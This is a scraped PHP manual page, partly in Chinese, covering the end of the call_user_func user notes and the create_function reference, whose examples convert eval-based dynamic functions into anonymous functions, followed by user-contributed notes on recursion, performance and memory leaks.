// it's quite obvious when someone renames the function, it'll spit out an error because it wants to call itself.
function Factorial($i=1) {
  return($i==1?1:$i*Factorial($i-1));
}

// you can give this function whatever name you want, it'll always work, of course if you initially call it using the name you gave it.
function qwertyuiop($i=1) {
  return($i==1?1:$i*call_user_func(__FUNCTION__,$i-1));
}
?>

Just that I didn't see any reference to recursive functions when user_call_func(); really helps.
edgar dot klerks at gmail dot com 17-Mar-2009 07:18
An entirely OO solution to add dynamicly methods to classes, I used in a project:
<?php
class ProductPart {

        protected $data;
        protected $plugins = array();
        function __construct($data){

                $this->data = $data;

        }
        public function register(ProductPlugin $plugin){

                if(!in_array($plugin, $this->plugins)){

                        $this->plugins[$plugin->toString()] = $plugin;
                } else {
                        throw new Exception('Function allready defined');
                }
        }
        public function unregister(ProductPlugin $plugin){
                if(isset($this->plugins[$plugin->toString()])){
                        unset($this->plugins[$plugin->toString()]);
                } else {
                        throw new Exception('No such function');
                }

        }

        protected function __call($method, $args) {
              if(isset($this->plugins[$method])){
                array_unshift(&$args, $this->data);
                array_unshift(&$args, $this);
                return $this->plugins[$method]->run($args[0], $args[1], $args[2]);

              } else {
                throw new Exception('No such function');
              }
        }
} ?>

I simplified the class somewhat for clearity.

With this class, you can dynamicly add and remove classes by calling register or unregister. Register will store the object in an associative array by calling toString (as defined by ProductPlugin) and saving the method under the returned string in the array. (In this case the name of the method the class adds.)

When a method is called, which isn't standard in the object, _call will lookup the called method in the array. If found, __call run the method of the plugin with the provided arguments. I restricted the user provided argument to 1, because I want to force the user to use associative arrays.

Because I chose an array to store my classes, removing a function is quite simple. However the unregister function isn't optimal, I better pass a string instead of a plugin object. I didn't test it yet on performance.

The ProductPlugin class:

<?php

abstract class ProductPlugin {
        protected $name = null;
        abstract public function run($obj, $data, $args);
        public function __construct($data = null) {

                if($this->name === null){
                        throw new Exception('Name must be defined');
                }
                $this->init($data);
        }
        protected function init($data){

        }
        public function toString(){
                return $this->name;
        }
}

?>

And at last some demonstration code:

<?php
$bla = new ProductPart(array('HelloWorld' => 'Hello world'));
$hello = new helloPlugin();
$bla->register($hello);
$bla->HelloWorld();
$bla->unregister($hello);
$bla->HelloWorld();

?>
dead,screamer@seznam,cz 21-Dec-2008 08:50
<?php call_user_func()?> and <?php call_user_func_array()?> hide some errors (notices, warnings and maybe errors), even if is display_errors turned on and error_Reporting is set to E_ALL|E_STRICT
Maxdamantus 03-Nov-2007 10:26
Note that the parser can interpret variables in function syntax, which means you can pass all variables normally (eg: reference).

<?php
function myfunction($string, &$int){
    echo $string."\n";
    $int++;
}
$function_name = "myfunction";
$x = 1336;
$function_name("Hello World", $x);
echo $x;
?>
---
Hello World
1337
Knightnet 07-Sep-2007 05:31
You don't need to use this function to call a variable class function. Instead you can do the following:

$this->{$fnname}();

The example works in PHP 5 from within the class. It is the {} that do the trick.

Regards,
Julian.
Typer85 at gmail dot com 12-Sep-2006 03:57
I would just like to say at first that I prefer variable function calls over the use of this function.

However I found that at some times, the use of this function is needed in situtations where variable function calls can not be used. And in those same situations, the use of this function is also better than using eval.

The situation I ran into is this:

I wanted to call object methods dynamically from within the object but with arguments given for possible parameters that the method I will call requires.

The parameters themselves are dynamic, meaning I have no prior knowledge of how many their are, their values, or if they even exist.

Also because object methods are dynamic, meaning I have no prior knowledge which object method will actually be called, I can not simply use variable function calls, call the method and pass any parameters.

So what I simply do is call the object method with an array of parameters, something that, to the best of my knowledge, can not be done with variable function calls, since variable function calls, even though they themeselves are dynamic, passing parameters to them is not.
rlansky at webroot dot com 14-Jul-2006 04:17
Based on the previous posts, it appears that using call_user_func can be serveral times slower than using variable substitution. I think these results are somewhat misleading.

I set up a similar test in which a static method of an object was called repeatedly in a loop. I got similar results to those seen; when calling the method using call_user_func the execution was twice that of calling the method directly. However, I then started adding some "meat" to the method in question. In my case, I found that what was constant was not the percentage change, but rather that there is a fixed cost to using call_user_func.

In my case, this fixed cost was 2 microseconds per call. When executing a method that performs no operations, this is a large percentage of the execution time for that method. However, when using this on a method that actually performs some work, the 2 microsecond cost is almost impossible to measure.

It seems to me that if you want to use call_user_func to call a very fast executing method, and you need to do this thousands of times, then you may want to reconsider. However, if you are using this to call methods that are not executed thousands of times, the small fixed cost of using php call_user_func is probably not an issue.
Maresa 13-Apr-2006 03:41
I tested the same code that insta at citiesunlimited dot com pasted on the following machines:

www1 machine:
OS:  FreeBSD 5.2.1-RELEASE
CPU: 2 x Intel(R) Xeon(TM) CPU 2.66GHz (2657.82-MHz 686-class CPU) with Hyperthreading
MEM: 1073217536 (1023 MB)
PHP 5.1.2 (cli)
PHP 4.4.1 (Web)

www2 machine:
OS:  Linux version 2.6.14-gentoo-r5 Gentoo 3.4.3-r1, ssp-3.4.3-0, pie-8.7.7)
CPU: 2 x Dual Core AMD Opteron(tm) Processor 265 stepping 02 1808.357 MHz
MEM: 2060388k total
PHP 5.1.2 (cli)
PHP Version 4.4.0-pl1-gentoo (web)

dev machine:
OS:  Linux version 2.6.15-gentoo-r1 Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7.1
CPU: Intel(R) Pentium(R) 4 CPU 2.00GHz stepping 04
MEM: 516384k total,
PHP 4.4.0-pl1-gentoo (cli)
PHP Version 4.4.0-pl1-gentoo (web)

The result are as follows:

www1 - CLI
Variable functions took 0.012186050415 seconds.
call_user_func took 0.0300550460815 seconds.
eval took 0.17235994339 seconds.

www1 - Web
Variable functions took 0.017616 seconds.
call_user_func took 0.034926 seconds.
eval took 0.149618 seconds

www2 - CLI
Variable functions took 0.0065491199493408 seconds.
call_user_func took 0.019452095031738 seconds.
eval took 0.10734891891479 seconds.

www2 - Web
Variable functions took 0.01565 seconds.
call_user_func took 0.02613 seconds.
eval took 0.132258 seconds.

dev - CLI
Variable functions took 0.025176 seconds.
call_user_func took 0.047402 seconds.
eval took 0.168196 seconds.

dev - Web
Variable functions took 0.025465 seconds.
call_user_func took 0.049713 seconds.
eval took 0.20154 seconds.

On www1 - CLI, eval is about 14 times slower than calling function by using variable.
On www1 - Web, eval is about 8.5 times slower (hmm interesting. Perhaps PHP4 is faster calculating eval than PHP5)

On www2 - CLI, eval is about 16 times slower than calling function by using variable.
On www2 - Web, eval is about 8.5 times slower (about same result as www1)

On dev - CLI, eval is about 6.6 times slower than calling function by using variable.
On dev - Web, eval is about 8 times slower (about same result as www1)

On the dev machine, CLI and web version of PHP is the same. and their speed difference between calling function using variable or eval does not differ that much compare to PHP5 VS PHP5
insta at citiesunlimited dot com 06-Feb-2006 12:15
I benchmarked the comparison in speed between variable functions, call_user_func, and eval.  My results are below:

Variable functions took 0.125958204269 seconds.
call_user_func took 0.485446929932 seconds.
eval took 2.78526711464 seconds.

This was run on a Compaq Proliant server, 180MHz Pentium Pro 256MB RAM.  Code is as follows:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
Marco 05-Oct-2005 01:42
>phil at gettcomm dot com
>22-May-2002 04:51
>if you need to get a reference back from a method, you can work around
>call_user_func()'s shortcomings like this:
>
Naaa! Having back a reference is a real problem, but it can be solved by mean of eval(), instead of using call_user_func:

<?php
  class Node {
    var $name;
    var $child;
    function Node ( $name ) { $this->name = $name; }
    function &getChild () { return $this->child; }
  }
  $p = new Node ( 'Father' );
  $c = new Node ( 'Child' );
  $p->child = &$c;

  eval ( "\\$cref = &\\$p->getChild ();" );
  $cref->name = 'Another Child';

  // Prints out 'Another Child'
  echo "****** After eval c = " . $c->name . "\\n\\n";

?>
info at webseiteselberpflegen dot de 18-May-2005 01:00
It seems like call_user_func() can not be used to create Objects via the new Command.

The Following example dosen't work:

<?php
  include_once(class_".$type.".php");
  $object = new call_user_func ('bdv_'.$type);
?>

But this works:

<?php
    include_once(class_".$type.".php");
    $constr = 'bdv_'.$type;
    $object = new $constr();
?>
24-Feb-2005 07:46
<?php
/*
    A very simple event handler dispose and change the latest one I did
*/

class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke = null )
    {
        if( $pDuke == null )
        {
            call_user_func( array( &$this, "OnEventHandler" ), $this, null );
            return;
        }

        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );

    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

//////////////////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "OnEventHandler", null );

$b ->OnEvent();
$b ->OnEvent( $pDuke );
?>
zxy at estec-jp dot com 24-Feb-2005 02:57
A simple event handler dispose released by useful callback in PHP 4.x

<?php
class Duke
{
//public:
    var $m_pRaiser;
    var $m_strRaiserFun;
    var $m_objArgs;
//public:
    function Duke(  $pRaiser,
            $strRaiserFun,
            $objArgs )
    {
        $this ->m_pRaiser      = $pRaiser;
        $this ->m_strRaiserFun = $strRaiserFun;
        $this ->m_objArgs      = $objArgs;

    }//end of constructor

}//end of class Duke

class A
{
//protected:
    function OnEventHandler( $sender, $args )//virtual
    {
        $sender ->SayHello();
    }//end of OnEventHandler( $sender, $args )

//public:
    function OnEvent( $pDuke )
    {
        call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );
    }//end of  OnEvent( $pDuke )

    function SayHello()//virtual
    {
        echo "A::SayHello" . "<br>";
    }//end of SayHello()

}//end of class A

class B extends A
{
//public:
    function SayHello()//override
    {
        echo "B::SayHello" . "<br>";
    }//end of SayHello()

}//end of class B

///////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "SayHello", null );
$b ->OnEvent( $pDuke );
?>
arjini at mac dot com 29-Mar-2004 05:04
Some of the wierder examples below confused me, and made me think that the following would work (but it does!).

<?php

class barber{
    function shop($one,$two,$three,$four='quartet'){
        echo $one.','.$two.','.$three.','.$four;
    }
}

$bsq = new barber;
call_user_func(array(&$bsq,'shop'),'one','two','three');

/* Output = one,two,three,quartet */

class bigBarber{
    var $quartet;
    function bigBarber(){
        $this->quartet = 'four';
    }
    function shop($one,$two,$three,$five='quintet'){
        echo $one.','.$two.','.$three.','.$this->quartet.','.$five;
    }
}

$bbsq = new bigBarber();
call_user_func(array(&$bbsq,'shop'),'one','two','three');

/* Output = one,two,three,four,quintet */

?>
Kris Koskelin 22-Jan-2004 03:21
I was trying to use this function to call a method of an already-instantiated object.  I needed to do this with the object itself, not simply call the class' method.

To accomplish this, I really avoided this particular function altogether like this:

<?php
if ( method_exists($my_obj, $action) ){
     return $my_obj->{$action}();
}
?>

I hope someone else finds this useful.  Note that doing this allows you to pass params to the function more-or-less in the same way you would to any other class method.
Michele.Manzato at verona.miz.it 29-Sep-2003 08:49
With overload()ed classes call_user_func_* calls real class methods only. If the method does not exist then PHP does not try with the "__call()" magic method (at least until PHP 4.3.3). See this:

<?php
class A
{
    function A() {}

    function __call($method, $args, &$ret) {
        echo "__call(): You called '{$method}()'<br>\n";
        return true;
    }

    function regular() {
        echo "You called 'regular()'<br>\n";
    }
};
overload("A");

$a = new A;

$a->regular();                          // Works, calls regular()
call_user_func(array(&$a, "regular"));  // Works, calls regular()

$a->hello();                            // Works, calls __call()
call_user_func(array(&$a, "hello"));    // Does NOT work!
?>
Carl 28-Jul-2003 11:53
I had a problem where I wanted to parameterize a callback. The end called was in an external class, but I needed to save some state for the callback that didn't make sense to keep in the original object, as it might change from call to call...

<?php
class foo
{
    function foo()
    {
        $str = "Hello There";

        $str2 = "Carl";

        $that =& new holder($str);

        call_user_func(array(&$that, 'callback'), $str2);
    }
}

class holder
{
    function holder($aParam)
    {
        $this->param = $aParam;
    }

    function callback($aStr)
    {
        echo "A=$this->param, B=$aStr\n";
    }
}
?>
dougqh at hotmail dot com 07-Mar-2002 05:16
The previous note I posted had an error in the source code.  That has been corrected in this note.

Note, that returning by reference does not work properly when the function
is called using call_user_func.

This example illustrates the problem...

<?php
$globalVar = 0;

function &staticFunction()
{
   global $globalVar;

   return $globalVar;
}

$result =& call_user_func( "staticFunction" );

$result = 3;

print "result:" . $result . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

$result2 =& staticFunction();

$result2 = 3;

print "result2: " . $result2 . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";
?>

The above code results in the following output ...
Note that $result is not a reference to $globalVar.

result:0
globalVar: 0
result2: 3
globalVar: 3

Also, the use of call_user_method is now deprecated in favor of passing
array( &$object, $method ) as the function to call_user_func.  This is
reported when error reporting is set to E_ALL in the latest versions of
PHP.
danyloco at yahoo dot com 17-Jul-2001 04:31
I was trying to call multiple functions within a class, and after a brain frying experience this is what came out... hope it helps:

<?php
class Foo {
 function hey1($id){echo "In hey1";}
 function hey2($id){echo "In hey2";}
 #... and so forth ...
 function runtest($id) {
   #the fun part :)
   for($i=1; $i<=2; $i++) {
     $fp = "hey".$i;
     $this->$fp($id);
}
}
}
?>

It worked like a charm :).


通过执行代码字符串创建动态函数

  • ? call_user_func
  • forward_static_call_array ?
  • PHP Manual
  • 函数处理 函数
  • 通过执行代码字符串创建动态函数

create_function

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — 通过执行代码字符串创建动态函数

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

create_function(string $args, string $code): string

从传递的参数中创建动态参数，并返回它的唯一名字。

Caution

此函数在内部执行 eval()，因此具有跟 eval() 相同的安全问题。还有性能以及内存使用较差的特性，因为创建的函数是全局的且无法释放。

应该使用原生匿名函数。

参数

It is normally advisable to pass these parameters as single quoted strings. If using double quoted strings, variable names in the code need to be escaped carefully, e.g. \$somevar.

args

The function arguments, as a single comma-separated string.

code

The function code.

返回值

Returns a unique function name as a string, 或者在失败时返回 false. Note that the name contains a non-printable character ("\0"), so care should be taken when printing the name or incorporating it in any other string.

示例

Example #1 Creating a function dynamically, with create_function() or anonymous functions

You can use a dynamically created function, to (for example) create a function from information gathered at run time. First, using create_function():

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E) . "\n";
?>

Now the same code, using an anonymous function; note that the code and arguments are no longer contained in strings:

<?php
$newfunc = function($a,$b) { return "ln($a) + ln($b) = " . log($a * $b); };
echo $newfunc(2, M_E) . "\n";
?>

以上示例会输出：

ln(2) + ln(2.718281828459) = 1.6931471805599

Example #2 Making a general processing function, with create_function() or anonymous functions

Another use could be to have general handler function that can apply a set of operations to a list of parameters:

<?php
function process($var1, $var2, $farr)
{
foreach ($farr as $f) {
echo $f($var1, $var2) . "\n";
}
}

// create a bunch of math functions
$farr = array(
create_function('$x,$y', 'return "some trig: ".(sin($x) + $x*cos($y));'),
create_function('$x,$y', 'return "a hypotenuse: ".sqrt($x*$x + $y*$y);'),
create_function('$a,$b', 'if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;}'),
create_function('$a,$b', "return \"min(b^2+a, a^2,b) = \".min(\$a*\$a+\$b,\$b*\$b+\$a);"),
create_function('$a,$b', 'if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; }')
);

echo "\nUsing the first array of dynamic functions\n";
echo "parameters: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// now make a bunch of string processing functions
$garr = array(
create_function('$b,$a', 'if (strncmp($a, $b, 3) == 0) return "** \"$a\" '.
'and \"$b\"\n** Look the same to me! (looking at the first 3 chars)";'),
create_function('$a,$b', 'return "CRCs: " . crc32($a) . ", ".crc32($b);'),
create_function('$a,$b', 'return "similar(a,b) = " . similar_text($a, $b, $p) . "($p%)";')
);
echo "\nUsing the second array of dynamic functions\n";
process("Twas brilling and the slithy toves", "Twas the night", $garr);
?>

Again, here is the same code using anonymous functions. Note that variable names in the code no longer need to be escaped, because they are not enclosed in a string.

<?php
function process($var1, $var2, $farr)
{
foreach ($farr as $f) {
echo $f($var1, $var2) . "\n";
}
}

// create a bunch of math functions
$farr = array(
function($x,$y) { return "some trig: ".(sin($x) + $x*cos($y)); },
function($x,$y) { return "a hypotenuse: ".sqrt($x*$x + $y*$y); },
function($a,$b) { if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;} },
function($a,$b) { return "min(b^2+a, a^2,b) = " . min($a*$a+$b, $b*$b+$a); },
function($a,$b) { if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; } }
);

echo "\nUsing the first array of dynamic functions\n";
echo "parameters: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// now make a bunch of string processing functions
$garr = array(
function($b,$a) { if (strncmp($a, $b, 3) == 0) return "** \"$a\" " .
"and \"$b\"\n** Look the same to me! (looking at the first 3 chars)"; },
function($a,$b) { return "CRCs: " . crc32($a) . ", ".crc32($b); },
function($a,$b) { return "similar(a,b) = " . similar_text($a, $b, $p) . "($p%)"; }
);
echo "\nUsing the second array of dynamic functions\n";
process("Twas brilling and the slithy toves", "Twas the night", $garr);
?>

以上示例会输出：

Using the first array of dynamic functions
parameters: 2.3445, M_PI
some trig: -1.6291725057799
a hypotenuse: 3.9199852871011
b*a^2 = 4.8103313314525
min(b^2+a, a^2,b) = 8.6382729035898
ln(a)/b = 0.27122299212594

Using the second array of dynamic functions
** "Twas the night" and "Twas brilling and the slithy toves"
** Look the same to me! (looking at the first 3 chars)
CRCs: 3569586014, 342550513
similar(a,b) = 11(45.833333333333%)

Example #3 Using dynamic functions as callback functions

Perhaps the most common use for dynamic functions is to pass them as callbacks, for example when using array_walk() or usort().

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

Converted to an anonymous function:

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, function(&$v,$k) { $v = $v . "mango"; });
print_r($av);
?>

以上示例会输出：

Array
(
  [0] => the mango
  [1] => a mango
  [2] => that mango
  [3] => this mango
)

Sorting strings from longest to shortest with create_function():

<?php
$sv = array("small", "a big string", "larger", "it is a string thing");
echo "Original:\n";
print_r($sv);
echo "Sorted:\n";
usort($sv, create_function('$a,$b','return strlen($b) - strlen($a);'));
print_r($sv);
?>

Converted to an anonymous function:

<?php
$sv = array("small", "a big string", "larger", "it is a string thing");
echo "Original:\n";
print_r($sv);
echo "Sorted:\n";
usort($sv, function($a,$b) { return strlen($b) - strlen($a); });
print_r($sv);
?>

以上示例会输出：

Original:
Array
(
  [0] => small
  [1] => a big string
  [2] => larger
  [3] => it is a string thing
)
Sorted:
Array
(
  [0] => it is a string thing
  [1] => a big string
  [2] => larger
  [3] => small
)

参见

  • 匿名函数

User Contributed Notes

lombax85 at gmail dot com 18-Apr-2021 02:40
For who *really* needs the create_function() on php8 (because of legacy code that cannot be changed easily) there is this: "composer require lombax85/create_function".
tamagochi_man 09-Oct-2018 07:44
Whilst it was correct 11 years ago, the statement of Dan D is not so correct any moreю Anonymous functions are now objects of a class Closure and are safely collected by garbage collector.
CertaiN 19-Sep-2013 11:49
Best wapper:

<?php

function create_lambda($args, $code) {
    static $func;
    if (!isset($func[$args][$code])) {
        $func[$args][$code] = create_function($args, $code);
    }
    return $func[$args][$code];
}
kak dot serpom dot po dot yaitsam at gmail dot com 27-Jun-2012 12:17
Try this to boost performance of your scripts (increase maxCacheSize):

<?php
runkit_function_copy('create_function', 'create_function_native');
runkit_function_redefine('create_function', '$arg,$body', 'return __create_function($arg,$body);');

function __create_function($arg, $body) {
    static $cache = array();
    static $maxCacheSize = 64;
    static $sorter;

    if ($sorter === NULL) {
        $sorter = function($a, $b) {
            if ($a->hits == $b->hits) {
                return 0;
            }

            return ($a->hits < $b->hits) ? 1 : -1;
        };
    }

    $crc = crc32($arg . "\\x00" . $body);

    if (isset($cache[$crc])) {
        ++$cache[$crc][1];
        return $cache[$crc][0];
    }

    if (sizeof($cache) >= $maxCacheSize) {
        uasort($cache, $sorter);
        array_pop($cache);
    }

    $cache[$crc] = array($cb = eval('return function('.$arg.'){'.$body.'};'), 0);
    return $cb;
}
?>
Dave H 24-Mar-2011 06:47
The following function is very useful for creating an alias of a user function.
For built-in functions, it is less useful because default values are not available, so function aliases for built-in functions must have all parameters supplied, whether optional or not.

<?php
function create_function_alias($function_name, $alias_name)
{
    if(function_exists($alias_name))
        return false;
    $rf = new ReflectionFunction($function_name);
    $fproto = $alias_name.'(';
    $fcall = $function_name.'(';
    $need_comma = false;

    foreach($rf->getParameters() as $param)
    {
        if($need_comma)
        {
            $fproto .= ',';
            $fcall .= ',';
        }

        $fproto .= '$'.$param->getName();
        $fcall .= '$'.$param->getName();

        if($param->isOptional() && $param->isDefaultValueAvailable())
        {
            $val = $param->getDefaultValue();
            if(is_string($val))
                $val = "'$val'";
            $fproto .= ' = '.$val;
        }
        $need_comma = true;
    }
    $fproto .= ')';
    $fcall .= ')';

    $f = "function $fproto".PHP_EOL;
    $f .= '{return '.$fcall.';}';

    eval($f);
    return true;
}
?>
edgar at goodforall dot eu 02-Jul-2009 07:45
Just a little toy I thought up, I would like to share. Creates an anonymous function, which let you use a class  as a function.

In php 5.3 there is support for real functors  (trough __invoke):

<?php
function createFunctor($className){
        $content = "
                static \$class;
                if(!\$class){
                        \$class = new $className;
                }
                return \$class->run(\$args);
        ";
        $f = create_function('$args', $content);
        return $f;

}
class test {
        public function run($args){
                print $args;
        }
}
$test = createFunctor('test');
$test('hello world');
?>
neo at nowhere dot com 28-Aug-2008 01:56
In response to kkaiser at revolution-records dot net's note, even tho PHP will allow you to use
<?
$myfunc = create_function('$this', $code);
?>
You can NOT use a reference to "$this" inside of the anonymous function, as PHP will complain that you are using a reference to "$this" in a non-object context.

Currently, I have not found a work-around for this...
Alan FUNG 07-Aug-2008 12:24
$f = create_function('','echo "function defined by create_function";');
$f();

result:
function defined by create_function

You may define no return in function body while you are using create_function.
Rene Saarsoo 06-Feb-2008 02:31
Here has been some discussion about the "memory leak" create_function() can create.

What create_function() actually does, is creating an ordinary function with name chr(0).lambda_n where n is some number:

<?php
$f = create_function('', 'return 1;');

function lambda_1() { return 2; }

$g = "lambda_1";
echo $g(); // outputs: 2

$h = chr(0)."lambda_1";
echo $h(); // outputs: 1
?>
TSE-WebDesign 18-Aug-2007 09:55
Here's how to call a runtime-created function from another runtime-created function:
<?php
        $get_func = create_function('$func', 'return substr($func,1);');
        $get_value = create_function('$index','return pow($index,$index);');
        $another_func = create_function('$a', '$func="\x00"."'.$get_func($get_value).'";return $func($a);');
        echo $another_func(2); # result is 4
?>
kkaiser at revolution-records dot net 13-Apr-2007 01:10
In the process of migrating a PHP4 codebase to PHP5, I ran into a peculiar problem. In the library, every class was derived from a generic class called 'class_container'. 'class_container' contained an array called runtime_functions and a method called class_function that was as follows:

<?php
function class_function($name,$params,$code) {

  $this->runtime_functions[$name] = create_function($params,$code);

}
?>

In a subclass of class_container, there was a function that utilized class_function() to store some custom lambda functions that were self-referential:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$theobj','$this=&$theobj;'.$code);

}
?>

In PHP4, this worked just fine. The idea was to write blocks of code at the subclass level, such as "echo $this->id;", then simply $MYOBJ->myfunc("go","echo $this->id;"); and later call it like $MYOBJ->runtime_functions["go"]();

It essentially worked exactly like binding anonymous functions to objects in Javascript.

Note how the "$this" keyword had to be manually redefined for the $code block to work.

In PHP5, however, you can't redeclare $this without getting a fatal error, so the code had to be updated to:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$this',$code);

}
?>

Apparently create_function() allows you to set $this via a function argument, allowing you to bind anonymous functions to instantiated objects. Thought it might be useful to somebody.
Dan D 23-Oct-2006 07:22
Beware when using anonymous functions in PHP as you would in languages like Python, Ruby, Lisp or Javascript.  As was stated previously, the allocated memory is never released; they are not objects in PHP -- they are just dynamically named global functions -- so they don't have scope and are not subject to garbage collection.

So, if you're developing anything remotely reusable (OO or otherwise), I would avoid them like the plague.  They're slow, inefficient and there's no telling if your implementation will end up in a large loop.  Mine ended up in an iteration over ~1 million records and quickly exhasted my 500MB-per-process limit.
Phlyst 06-Oct-2006 05:10
In reply to info at adaniels dot nl:

You may not be able to use __FUNCTION__ in a lambda (thanks for pointing it out; I was having that problem just now), but you can use $GLOBALS to work around it if you're assigning the function to a variable. I reimplemented array_walk_recursive() in PHP4 like this:

<?php
$array_walk_recursive = create_function('&$array, $callback',
    'foreach($array as $element) {
        if(is_array($element)) {
            $funky = $GLOBALS["array_walk_recursive"];
            $funky($element, $callback);
        }
        else {
            $callback($element);
        }
    }');
?>
Josh J 27-Sep-2006 12:45
In regards to the recursion issue by info at adaniels dot nl

Anon function recursion by referencing the function variable in the correct scope.
<?php
$fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func($GLOBALS["fn2"], ++$a);');
$fn2(1);
?>
info at adaniels dot nl 10-May-2006 03:42
Note that using __FUNCTION__ in a an anonymous function, will always result '__lambda_func'.

<?php
    $fn = create_function('', 'echo __FUNCTION__;');
    $fn();
    // Result: __lambda_func
    echo $fn;
    // Result: olambda_2 (the actual first character cannot be displayed)
?>

This means that a anonymous function can't be used recursively. The following code (recursively counting to 10) results in an error:
<?php
    $fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func(__FUNCTION__, $a++);');
    $fn2(1);
    // Warning: call_user_func(__lambda_func) [function.call-user-func]: First argument is expected to be a valid callback in T:/test/test.php(21) : runtime-created function on line 1
?>
josh at janrain dot com 03-Mar-2006 10:21
Beware! This is merely a convenience function that generates a unique name for a regular function. It is *not* a closure or even an anonymous function. It is just a regular function that gets named for you.
Joshua E Cook 19-Jan-2006 04:43
Functions created by create_function() cannot return a value by reference.  The function below creates a function that can.  The arguments are the same as create_function().  Note that these arguments are passed, unmodified, to eval(), so be sure that data passed in is sanitized.

<?php
/**
 * create_ref_function
 * Create an anonymous (lambda-style) function
 * which returns a reference
 * see http://php.net/create_function
 */
function
create_ref_function( $args, $code )
{
    static $n = 0;

    $functionName = sprintf('ref_lambda_%d',++$n);

    $declaration = sprintf('function &%s(%s) {%s}',$functionName,$args,$body);

    eval($declaration);

    return $functionName;
}
?>
boards at gmail dot com 31-Dec-2005 11:18
If you were checking to see if a function is made properly, this would be a better way of checking:

<?php
$fnc = @create_function('$arg1,$arg2,$arg3', 'return true;');
# make that function whatever you want
if (empty($fnc)) {
  die('Could not create function $fnc.');
}

# although, the follow will NOT work
if (empty(create_function('$arg', 'return $arg;'))) {
  die('Could not create anonymous function.');
}
# you would get an error regarding not being able to use a
# return value in writeable context (i.e. a return value is
# a const in C, and the function empty() doesn't use a
# const void* parameter
?>
MagicalTux at FF.ST 09-Mar-2004 10:25
neo at gothic-chat d0t de wrote :
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

Not really...

In fact, PHP can not "unassign" functions. So if you create a function, it won't be deleted until the end of the script, even if you unset the variable containing its name.

If you need to change a part of a function everytime you run a loop, think of a way to make a more general function or try using eval :) (functions are made to be re-used. If you need to run your own piece of code once, eval is much better).
neo at gothic-chat d0t de 20-Jan-2004 08:54
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

I used a function like this to replace special characters in links with their htmlentities:
<?php
$text = preg_replace_callback (
    "/(<(frame src|a href|form action)=\")([^\"]+)(\"[^>]*>)/i",
    create_function (
        '$matches',
        'return $matches[1] . htmlentities ($matches[3]) . $matches[4];'
    ),
    $text);
?>

After 1000 calls, the process used about 5MB more than before. In my situation this boosted up the memory-size of one PHP-process up to over 100MB!

In such cases, better store the function in a global variable.
DB on music_ml at yahoo dot com dot ar 02-Apr-2003 04:58
[EDIT by danbrown AT php DOT net: Combined user-corrected post with previous (incorrect) post.]

You can't refer to a class variable from an anonymous function inside a class method using $this.  Anonymous functions don't inherit the method scope.  You'll have to do this:

<?php
class AnyClass {

 var $classVar = 'some regular expression pattern';

 function classMethod() {

   $_anonymFunc = create_function( '$arg1, $arg2', 'if ( eregi($arg2, $arg1) ) { return true; } else { return false; } ' );

   $willWork = $_anonymFunc('some string', $classVar);

 }

}
?>
x-empt[a_t]ispep.cx 05-Jul-2001 11:41
